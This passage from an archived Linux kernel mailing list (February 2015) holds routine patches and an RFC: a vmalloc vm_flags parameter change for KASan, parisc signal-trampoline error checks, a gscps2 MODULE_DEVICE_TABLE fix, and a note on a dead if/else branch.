-			pgprot_t prot, int node, const void *caller)
+			pgprot_t prot, unsigned long vm_flags, int node,
+			const void *caller)
 {
 	struct vm_struct *area;
 	void *addr;
@@ -1638,8 +1640,8 @@ void *__vmalloc_node_range(unsigned long size, unsigned long align,
 	if (!size || (size >> PAGE_SHIFT) > totalram_pages)
 		goto fail;
 
-	area = __get_vm_area_node(size, align, VM_ALLOC | VM_UNINITIALIZED,
-				  start, end, node, gfp_mask, caller);
+	area = __get_vm_area_node(size, align, VM_ALLOC | VM_UNINITIALIZED |
+				vm_flags, start, end, node, gfp_mask, caller);
 	if (!area)
 		goto fail;
 
@@ -1688,7 +1690,7 @@ static void *__vmalloc_node(unsigned long size, unsigned long align,
 			    int node, const void *caller)
 {
 	return __vmalloc_node_range(size, align, VMALLOC_START, VMALLOC_END,
-				gfp_mask, prot, node, caller);
+				gfp_mask, prot, 0, node, caller);
 }
 
 void *__vmalloc(unsigned long size, gfp_t gfp_mask, pgprot_t prot)
-- 
2.2.2




From - Thu Nov 08 21:37:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicholas Mc Guire <der.herr@hofr.at>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: RFC arch/sh/kernel/traps_64.c - unclear if/else construct
Date: Tue, 3 Feb 2015 10:37:58 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <20150203093758.GA27963@opentech.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1422956292 21197 80.91.229.3 (3 Feb 2015 09:38:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Feb 2015 09:38:12 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Dan Carpenter <dan.carpenter@oracle.com>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 03 10:38:06 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YIZvm-000283-NS
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Feb 2015 10:38:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753358AbbBCJiB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Feb 2015 04:38:01 -0500
Original-Received: from hofr.at ([212.69.189.236]:47153 "EHLO mail.hofr.at"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752461AbbBCJiA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Feb 2015 04:38:00 -0500
Original-Received: by mail.hofr.at (Postfix, from userid 1002)
	id 4703A4F8A33; Tue,  3 Feb 2015 10:37:58 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25557 gmane.linux.kernel:1880935
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25557>


Hi !

 scanning for  if STATEMENT else STATEMENT  triggered here - and it does look
like it needs a fix-up or at least some comments.

<snip?
int hpux_sysfs(int opcode, unsigned long arg1, unsigned long arg2)
{
	 int fstype;
	 ...
		  /* String could be altered by userspace after strlen_user() */
		  fsname[len - 1] = '\0';

		  printk(KERN_DEBUG "that is '%s' as (char *)\n", fsname);
		  if ( !strcmp(fsname, "hfs") ) {
			   fstype = 0;
		  } else {
			   fstype = 0;
		  }  
		     
		  kfree(fsname);

		  printk(KERN_DEBUG "returning fstype=%d\n", fstype);
		  return fstype; /* something other than default */
<snip>

 The if-else here has no effect and the printk will not convey any information
as its always fstype==0, finally the return statement comment indicates that it
should not be the default...

 Can't come up with a reasonable cleanup patch here - but this looks like it
needs a review.

thx!
hofrat
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrey Ryabinin <a.ryabinin@samsung.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v11 16/19] mm: vmalloc: pass additional vm_flags to
 __vmalloc_node_range()
Date: Tue, 03 Feb 2015 20:43:09 +0300
Lines: 198
Approved: news@gmane.org
Message-ID: <1422985392-28652-17-git-send-email-a.ryabinin@samsung.com>
References: <1404905415-9046-1-git-send-email-a.ryabinin@samsung.com>
 <1422985392-28652-1-git-send-email-a.ryabinin@samsung.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1422985466 17729 80.91.229.3 (3 Feb 2015 17:44:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Feb 2015 17:44:26 +0000 (UTC)
Cc: Andrey Ryabinin <a.ryabinin@samsung.com>,
        Dmitry Vyukov <dvyukov@google.com>,
        Konstantin Serebryany <kcc@google.com>,
        Dmitry Chernenkov <dmitryc@google.com>,
        Andrey Konovalov <adech.fo@gmail.com>,
        Yuri Gribov <tetra2005@gmail.com>,
        Konstantin Khlebnikov <koct9i@gmail.com>,
        Sasha Levin <sasha.levin@oracle.com>,
        Christoph Lameter <cl@linux.com>,
        Joonsoo Kim <iamjoonsoo.kim@lge.com>,
        Andrew Morton <akpm@linux-foundation.org>,
        Dave Hansen <dave.hansen@intel.com>,
        Andi Kleen <andi@firstfloor.org>, x86@kernel.org,
        linux-mm@kvack.org, Russell King <linux@arm.linux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <del
To: linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Tue Feb 03 18:44:22 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1YIhWQ-0004n4-0F
	for sgi-linux-mips@gmane.org; Tue, 03 Feb 2015 18:44:22 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:43746 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27015023AbbBCRoSjSG0T (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Tue, 3 Feb 2015 18:44:18 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 03 Feb 2015 18:44:02 +0100 (CET)
Original-Received: from mailout2.w1.samsung.com ([210.118.77.12]:53176 "EHLO
        mailout2.w1.samsung.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27015020AbbBCRn7uCIWi (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Tue, 3 Feb 2015 18:43:59 +0100
Original-Received: from eucpsbgm2.samsung.com (unknown [203.254.199.245])
 by mailout2.w1.samsung.com
 (Oracle Communications Messaging Server 7u4-24.01(7.0.4.24.0) 64bit (built Nov
 17 2011)) with ESMTP id <0NJ7000SZIRTR350@mailout2.w1.samsung.com>; Tue,
 03 Feb 2015 17:47:53 +0000 (GMT)
X-AuditID: cbfec7f5-b7fc86d0000066b7-b9-54d108430a51
Original-Received: from eusync2.samsung.com ( [203.254.199.212])
        by eucpsbgm2.samsung.com (EUCPMTA) with SMTP id 66.5E.26295.34801D45; Tue,
 03 Feb 2015 17:41:23 +0000 (GMT)
Original-Received: from localhost.localdomain ([106.109.129.143])
 by eusync2.samsung.com (Oracle Communications Messaging Server 7u4-23.01
 (7.0.4.23.0) 64bit (built Aug 10 2011))
 with ESMTPA id <0NJ700DO6IK39ZB0@eusync2.samsung.com>; Tue,
 03 Feb 2015 17:43:49 +0000 (GMT)
X-Mailer: git-send-email 2.2.2
In-reply-to: <1422985392-28652-1-git-send-email-a.ryabinin@samsung.com>
X-Brightmail-Tracker: H4sIAAAAAAAAAyWRa0iTYRiGe7+zq8WHqX2NqLAECdKSfjxIlNDp1SAiJChCXTo84KZtadoJ
        U5NcHpamlkoZy9RlalvmAY1cplZiS8UsybPGPM/DEgVty383133x3D8ejnQ0UBIuXHFNplRI
        I10ZEfV1rbX7wHHuu//BLIMnvFsZZmC18QkNhZXlDDT3/GVh9mUagh/WKQTz5kEEhd+SKRiY
        70PwZ2iIBc1QCgtNvVYWWkxmCnLfbIeyB0kMDFToaKgZnyagLHWQBv1IDw1d9YUMaHKyWOgv
        X6dh+IuJAM3zJBLM1gUa+rrE0PmhiIDOhn2gbe4jYaHDdjvhcykNM+PZJBj0OTbV0kbBctUI
        7bMXlz8tRzg5KY3Bb8t+Erhp2MjgZ3UWhOvyf7N4zhKAi/QxWNtgJrBel8pg/XwWi9XT3QSe
        6ehgcdvjVQp/KntN4NHuPOKccEl0JEQWGR4rU3oeDRKFzST2stHZ3nETeTqUgOo91YjjBP6w
        YL17Xo0cbNFFMPVXMvbsyBcjIaN+sxqJbDmDENralyh7wfAewlp+zX/Jid8jGNLHabtE8nMi
        ITlTS9qLbfxloXRikrAPULybkDbpZsdi/rSQ/WgRbezuEkyWQDt2sOH3meNoYysRCVPaZFKD
        xEVokw45y2KCo1VXQuVeHiqpXBWjCPUIjpLr0cajl2pRcYu3EfEcct0idp8x+TvS0lhVvNyI
        BI50dRI3rNqQOEQaf0OmjApUxkTKVEZEcA6SBLQ1grxgGKuYK6luPbaWS9w0ryyvlGhv 
X-archive-position: 45637
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: a.ryabinin@samsung.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:46787 gmane.linux.kernel:1881338 gmane.linux.kernel.mm:128287 gmane.linux.ports.arm.kernel:391347 gmane.linux.ports.parisc:25558 gmane.linux.ports.sparc:20449
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/46787>

For instrumenting global variables KASan will shadow memory
backing memory for modules. So on module loading we will need
to allocate memory for shadow and map it at address in shadow
that corresponds to the address allocated in module_alloc().

__vmalloc_node_range() could be used for this purpose,
except it puts a guard hole after allocated area. Guard hole
in shadow memory should be a problem because at some future
point we might need to have a shadow memory at address
occupied by guard hole. So we could fail to allocate shadow
for module_alloc().

Now we have VM_NO_GUARD flag disabling guard page, so we need to
pass into __vmalloc_node_range(). Add new parameter 'vm_flags'
to __vmalloc_node_range() function.

Signed-off-by: Andrey Ryabinin <a.ryabinin@samsung.com>
---
 arch/arm/kernel/module.c       |  2 +-
 arch/arm64/kernel/module.c     |  4 ++--
 arch/mips/kernel/module.c      |  2 +-
 arch/parisc/kernel/module.c    |  2 +-
 arch/s390/kernel/module.c      |  2 +-
 arch/sparc/kernel/module.c     |  2 +-
 arch/unicore32/kernel/module.c |  2 +-
 arch/x86/kernel/module.c       |  2 +-
 include/linux/vmalloc.h        |  4 +++-
 mm/vmalloc.c                   | 10 ++++++----
 10 files changed, 18 insertions(+), 14 deletions(-)

diff --git a/arch/arm/kernel/module.c b/arch/arm/kernel/module.c
index bea7db9..2e11961 100644
--- a/arch/arm/kernel/module.c
+++ b/arch/arm/kernel/module.c
@@ -41,7 +41,7 @@
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				GFP_KERNEL, PAGE_KERNEL_EXEC, NUMA_NO_NODE,
+				GFP_KERNEL, PAGE_KERNEL_EXEC, 0, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 #endif
diff --git a/arch/arm64/kernel/module.c b/arch/arm64/kernel/module.c
index 9b6f71d..67bf410 100644
--- a/arch/arm64/kernel/module.c
+++ b/arch/arm64/kernel/module.c
@@ -35,8 +35,8 @@
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				    GFP_KERNEL, PAGE_KERNEL_EXEC, NUMA_NO_NODE,
-				    __builtin_return_address(0));
+				    GFP_KERNEL, PAGE_KERNEL_EXEC, 0,
+				    NUMA_NO_NODE, __builtin_return_address(0));
 }
 
 enum aarch64_reloc_op {
diff --git a/arch/mips/kernel/module.c b/arch/mips/kernel/module.c
index 2a52568..1833f51 100644
--- a/arch/mips/kernel/module.c
+++ b/arch/mips/kernel/module.c
@@ -47,7 +47,7 @@ static DEFINE_SPINLOCK(dbe_lock);
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULE_START, MODULE_END,
-				GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
+				GFP_KERNEL, PAGE_KERNEL, 0, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 #endif
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index 5822e8e..3c63a82 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -219,7 +219,7 @@ void *module_alloc(unsigned long size)
 	 * init_data correctly */
 	return __vmalloc_node_range(size, 1, VMALLOC_START, VMALLOC_END,
 				    GFP_KERNEL | __GFP_HIGHMEM,
-				    PAGE_KERNEL_RWX, NUMA_NO_NODE,
+				    PAGE_KERNEL_RWX, 0, NUMA_NO_NODE,
 				    __builtin_return_address(0));
 }
 
diff --git a/arch/s390/kernel/module.c b/arch/s390/kernel/module.c
index 409d152..36154a2 100644
--- a/arch/s390/kernel/module.c
+++ b/arch/s390/kernel/module.c
@@ -50,7 +50,7 @@ void *module_alloc(unsigned long size)
 	if (PAGE_ALIGN(size) > MODULES_LEN)
 		return NULL;
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				    GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
+				    GFP_KERNEL, PAGE_KERNEL, 0, NUMA_NO_NODE,
 				    __builtin_return_address(0));
 }
 #endif
diff --git a/arch/sparc/kernel/module.c b/arch/sparc/kernel/module.c
index 97655e0..192a617 100644
--- a/arch/sparc/kernel/module.c
+++ b/arch/sparc/kernel/module.c
@@ -29,7 +29,7 @@ static void *module_map(unsigned long size)
 	if (PAGE_ALIGN(size) > MODULES_LEN)
 		return NULL;
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
+				GFP_KERNEL, PAGE_KERNEL, 0, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 #else
diff --git a/arch/unicore32/kernel/module.c b/arch/unicore32/kernel/module.c
index dc41f6d..e191b34 100644
--- a/arch/unicore32/kernel/module.c
+++ b/arch/unicore32/kernel/module.c
@@ -25,7 +25,7 @@
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				GFP_KERNEL, PAGE_KERNEL_EXEC, NUMA_NO_NODE,
+				GFP_KERNEL, PAGE_KERNEL_EXEC, 0, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 
diff --git a/arch/x86/kernel/module.c b/arch/x86/kernel/module.c
index e69f988..e830e61 100644
--- a/arch/x86/kernel/module.c
+++ b/arch/x86/kernel/module.c
@@ -88,7 +88,7 @@ void *module_alloc(unsigned long size)
 	return __vmalloc_node_range(size, 1,
 				    MODULES_VADDR + get_module_load_offset(),
 				    MODULES_END, GFP_KERNEL | __GFP_HIGHMEM,
-				    PAGE_KERNEL_EXEC, NUMA_NO_NODE,
+				    PAGE_KERNEL_EXEC, 0, NUMA_NO_NODE,
 				    __builtin_return_address(0));
 }
 
diff --git a/include/linux/vmalloc.h b/include/linux/vmalloc.h
index 1526fe7..7d7acb3 100644
--- a/include/linux/vmalloc.h
+++ b/include/linux/vmalloc.h
@@ -76,7 +76,9 @@ extern void *vmalloc_32_user(unsigned long size);
 extern void *__vmalloc(unsigned long size, gfp_t gfp_mask, pgprot_t prot);
 extern void *__vmalloc_node_range(unsigned long size, unsigned long align,
 			unsigned long start, unsigned long end, gfp_t gfp_mask,
-			pgprot_t prot, int node, const void *caller);
+			pgprot_t prot, unsigned long vm_flags, int node,
+			const void *caller);
+
 extern void vfree(const void *addr);
 
 extern void *vmap(struct page **pages, unsigned int count,
diff --git a/mm/vmalloc.c b/mm/vmalloc.c
index 2e74e99..35b25e1 100644
--- a/mm/vmalloc.c
+++ b/mm/vmalloc.c
@@ -1619,6 +1619,7 @@ fail:
  *	@end:		vm area range end
  *	@gfp_mask:	flags for the page level allocator
  *	@prot:		protection mask for the allocated pages
+ *	@vm_flags:	additional vm area flags (e.g. %VM_NO_GUARD)
  *	@node:		node to use for allocation or NUMA_NO_NODE
  *	@caller:	caller's return address
  *
@@ -1628,7 +1629,8 @@ fail:
  */
 void *__vmalloc_node_range(unsigned long size, unsigned long align,
 			unsigned long start, unsigned long end, gfp_t gfp_mask,
-			pgprot_t prot, int node, const void *caller)
+			pgprot_t prot, unsigned long vm_flags, int node,
+			const void *caller)
 {
 	struct vm_struct *area;
 	void *addr;
@@ -1638,8 +1640,8 @@ void *__vmalloc_node_range(unsigned long size, unsigned long align,
 	if (!size || (size >> PAGE_SHIFT) > totalram_pages)
 		goto fail;
 
-	area = __get_vm_area_node(size, align, VM_ALLOC | VM_UNINITIALIZED,
-				  start, end, node, gfp_mask, caller);
+	area = __get_vm_area_node(size, align, VM_ALLOC | VM_UNINITIALIZED |
+				vm_flags, start, end, node, gfp_mask, caller);
 	if (!area)
 		goto fail;
 
@@ -1688,7 +1690,7 @@ static void *__vmalloc_node(unsigned long size, unsigned long align,
 			    int node, const void *caller)
 {
 	return __vmalloc_node_range(size, align, VMALLOC_START, VMALLOC_END,
-				gfp_mask, prot, node, caller);
+				gfp_mask, prot, 0, node, caller);
 }
 
 void *__vmalloc(unsigned long size, gfp_t gfp_mask, pgprot_t prot)
-- 
2.2.2




From - Thu Nov 08 21:37:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Add error checks when building up signal trampoline
 handler
Date: Tue, 3 Feb 2015 21:52:47 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <20150203205247.GA23725@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1422996781 621 80.91.229.3 (3 Feb 2015 20:53:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Feb 2015 20:53:01 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 03 21:52:56 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YIkSt-00051T-UB
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Feb 2015 21:52:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756193AbbBCUwz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Feb 2015 15:52:55 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:51155 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754103AbbBCUwy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Feb 2015 15:52:54 -0500
Original-Received: from p100.box ([84.173.15.145]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0Ll0tl-1XkVZk0fSP-00ana9; Tue, 03 Feb 2015 21:52:49
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:fcsIAJfd7qaMUUyB8MWXDlvXC1slIrhr5hEs5VG5kVfenQY0Kf3
 2wsToRFwbfXiGXuqCrVAZQDGfjCGJSK/qWtTKb9RGN8J7INsUazDbip+wPysC1DkcfZGEtr
 yZkQod3pjxOf46Q5VHjDX+w8bcfMSOmkCQXKTiyceCSe4jkVTWUstI5t3C5WZIHPDBSRl2x
 Ia8LAX8uTk6/nzILMGPcw==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25559
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25559>

Add checks if the userspace trampoline code was correctly generated by the
signal trampoline generation code. In addition only flush caches as needed and
fix the old flushing code which didn't flushed all generated instructions.
                
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 012d4fa..50cda7e6 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -476,6 +476,9 @@ insert_restart_trampoline(struct pt_regs *regs)
 	case -ERESTART_RESTARTBLOCK: {
 		/* Restart the system call - no handlers present */
 		unsigned int *usp = (unsigned int *)regs->gr[30];
+		unsigned long start = (unsigned long) &usp[2];
+		unsigned long end  = (unsigned long) &usp[5];
+		long err = 0;
 
 		/* Setup a trampoline to restart the syscall
 		 * with __NR_restart_syscall
@@ -487,23 +490,21 @@ insert_restart_trampoline(struct pt_regs *regs)
 		 * 16: ldi __NR_restart_syscall, %r20
 		 */
 #ifdef CONFIG_64BIT
-		put_user(regs->gr[31] >> 32, &usp[0]);
-		put_user(regs->gr[31] & 0xffffffff, &usp[1]);
-		put_user(0x0fc010df, &usp[2]);
+		err |= put_user(regs->gr[31] >> 32, &usp[0]);
+		err |= put_user(regs->gr[31] & 0xffffffff, &usp[1]);
+		err |= put_user(0x0fc010df, &usp[2]);
 #else
-		put_user(regs->gr[31], &usp[0]);
-		put_user(0x0fc0109f, &usp[2]);
+		err |= put_user(regs->gr[31], &usp[0]);
+		err |= put_user(0x0fc0109f, &usp[2]);
 #endif
-		put_user(0xe0008200, &usp[3]);
-		put_user(0x34140000, &usp[4]);
+		err |= put_user(0xe0008200, &usp[3]);
+		err |= put_user(0x34140000, &usp[4]);
 
-		/* Stack is 64-byte aligned, and we only need
-		 * to flush 1 cache line.
-		 * Flushing one cacheline is cheap.
-		 * "sync" on bigger (> 4 way) boxes is not.
-		 */
-		flush_user_dcache_range(regs->gr[30], regs->gr[30] + 4);
-		flush_user_icache_range(regs->gr[30], regs->gr[30] + 4);
+		WARN_ON(err);
+
+		/* flush data/instruction cache for new insns */
+		flush_user_dcache_range(start, end);
+		flush_user_icache_range(start, end);
 
 		regs->gr[31] = regs->gr[30] + 8;
 		return;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.input,gmane.linux.kernel
Subject: [PATCH] MODULE_DEVICE_TABLE: fix gscps2
Date: Wed,  4 Feb 2015 16:15:35 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <1423062935-2025-1-git-send-email-geert@linux-m68k.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1423062969 4045 80.91.229.3 (4 Feb 2015 15:16:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 Feb 2015 15:16:09 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Dmitry Torokhov <dmitry.torokhov@gmail.com>,
	linux-parisc@vger.kernel.org, linux-input@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	Geert Uytterhoeven <geert@linux-m68k.org>
To: Andrew Morton <akpm@linux-foundation.org>,
	Andrey Ryabinin <a.ryabinin@samsung.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 04 16:16:04 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YJ1gK-0007Kk-9C
	for glpp-linux-parisc@plane.gmane.org; Wed, 04 Feb 2015 16:15:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934212AbbBDPPn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 4 Feb 2015 10:15:43 -0500
Original-Received: from baptiste.telenet-ops.be ([195.130.132.51]:41667 "EHLO
	baptiste.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965452AbbBDPPg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 4 Feb 2015 10:15:36 -0500
Original-Received: from ayla.of.borg ([84.193.93.87])
	by baptiste.telenet-ops.be with bizsmtp
	id oFFa1p00Y1t5w8s01FFai2; Wed, 04 Feb 2015 16:15:35 +0100
Original-Received: from ramsan.of.borg ([192.168.97.29] helo=ramsan)
	by ayla.of.borg with esmtp (Exim 4.82)
	(envelope-from <geert@linux-m68k.org>)
	id 1YJ1fy-0007Qx-Am; Wed, 04 Feb 2015 16:15:34 +0100
Original-Received: from geert by ramsan with local (Exim 4.82)
	(envelope-from <geert@linux-m68k.org>)
	id 1YJ1g0-0000XG-HB; Wed, 04 Feb 2015 16:15:36 +0100
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25560 gmane.linux.kernel.input:41065 gmane.linux.kernel:1882161
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25560>

The patch "module: fix types of device tables aliases" newly requires
that invocations of

MODULE_DEVICE_TABLE(type, name);

come *after* the definition of `name'.  That is reasonable, but gscps2
wasn't doing this.  Fix it.

Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
---
One more fix for your collection...

parisc/allmodconfig
http://kisskb.ellerman.id.au/kisskb/buildresult/12358386/
---
 drivers/input/serio/gscps2.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/input/serio/gscps2.c b/drivers/input/serio/gscps2.c
index 8d9ba0c3827c5b2a..94ab494a6ade8d49 100644
--- a/drivers/input/serio/gscps2.c
+++ b/drivers/input/serio/gscps2.c
@@ -40,7 +40,6 @@
 MODULE_AUTHOR("Laurent Canet <canetl@esiee.fr>, Thibaut Varene <varenet@parisc-linux.org>, Helge Deller <deller@gmx.de>");
 MODULE_DESCRIPTION("HP GSC PS2 port driver");
 MODULE_LICENSE("GPL");
-MODULE_DEVICE_TABLE(parisc, gscps2_device_tbl);
 
 #define PFX "gscps2.c: "
 
@@ -439,6 +438,7 @@ static struct parisc_device_id gscps2_device_tbl[] = {
 #endif
 	{ 0, }	/* 0 terminated list */
 };
+MODULE_DEVICE_TABLE(parisc, gscps2_device_tbl);
 
 static struct parisc_driver parisc_ps2_driver = {
 	.name		= "gsc_ps2",
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.input,gmane.linux.kernel
